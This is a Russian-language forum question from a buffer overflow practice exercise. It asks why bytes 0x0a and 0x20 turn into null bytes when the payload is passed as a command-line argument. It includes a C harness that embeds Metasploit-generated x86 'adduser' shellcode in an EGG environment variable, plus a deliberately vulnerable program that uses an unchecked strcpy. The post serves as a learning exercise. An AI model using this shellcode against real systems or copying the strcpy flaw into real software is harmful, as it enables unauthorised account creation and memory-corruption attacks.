Почему 0a байта и 20 конвертируются в нулевые байты в моей программе? - PullRequest
0 голосов
/ 01 июля 2019

Я работаю с набором программ c, которые я получил из демонстрации переполнения буфера.Программа C "A" устанавливает переменную окружения "EGG" и открывает оболочку bash.Затем из оболочки bash, открытой программой «A», я запускаю программу «B» и предоставляю переменную «EGG» в качестве аргумента.Программа «B» должна просто скопировать переменную EGG в память.Теперь переменная "EGG", созданная моей программой "A", должна перекрывать все, начиная от буфера программы "B" и заканчивая указателем возврата, так что указатель возврата теперь указывает на начало значения "EGG", котороекоманда для создания оболочки или что у вас есть.

Чтобы попрактиковаться с этим кодом, я использовал metasploit для генерации оболочки для полезной нагрузки linux / x86 / adduser, убедившись, что используется '-b'Параметр \ x00 "'удаляет все нулевые байты и вставляет код оболочки в программу" A ".Это не работает.После некоторой отладки с помощью gdb я обнаружил, что все экземпляры байтов \ x0a и \ x20 в коде оболочки преобразуются в нулевые байты при передаче в качестве аргумента программе "B".Я вернулся к metasploit и добавил \ x0a и \ x20 в список байтов для исключения, получил новую полезную нагрузку, и все работало отлично.

Мои вопросы просто - почему?Почему байты \ x20 и \ x0a превращаются в нулевые байты?

См. Код и снимки экрана из gdb ниже.

Программа "A"

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[]=
"\xbe\x26\x4d\xed\x2e\xdb\xd9\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x19\x83\xef\xfc\x31\x77\x0f\x03\x77\x29\xaf\x18\x1f\xfc\xa6"
"\x28\x0a\xb8\xe0\x63\x4b\x2e\x14\x24\x7d\x67\x47\xbc\x0e\x04"
"\x1f\x58\x99\xc5\xf0\xd0\x38\x71\x20\x74\xcf\xe2\xb7\x95\x6e"
"\x51\xc3\x94\xf1\x0a\x24\x0e\xf2\x2c\xb5\x22\x97\x58\xd4\xcf"
"\x27\xcc\x79\x59\xbc\x36\xc7\xe3\x13\x22\x8e\x60\x06\x9e\x60"
"\xb3\x9f\x8c\xe3\x81\x2f\x0a\xd4\xcf\x75\x45\x2e\x1f\xe8\xf0"
"\x20\x70\x9f\x6a\xb7\xd7\xd4\x3b\x3b\x8d\xee\xe3\x0e\xd2\x85"
"\x12\xc9\x1e\xd9";

char retaddr[] = "\xaa\xaa\xaa\xaa";

#define NOP 0x90


main()
{
    char buffer[176];

    memset(buffer, NOP, 176);

    memcpy(buffer, "EGG=", 4);

    memcpy(buffer+4, shellcode, 124);

    memcpy(buffer+168, retaddr, 4);
    memcpy(buffer+172, "\x00\x00\x00\x00",4);

    putenv(buffer);

    system("/bin/sh");

    return 0;
}

Программа "B""

#include<stdio.h>
#include<string.h>

main(int argc, char **argv)
{
    char buffer[160];

    strcpy(buffer, argv[1]);

    return 1;
}

Снимок экрана стека в конце программы" A ", создающей переменную" EGG "(выделены шелл-код, 0a и 20 байтов, выделенные красным

Screenshot of stack at the end of program

Снимок экрана переменной "EGG" после передачи в программу "B" (теперь значения a0 и 20 байтов равны нулю, выделены красным)

Screenshot of

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...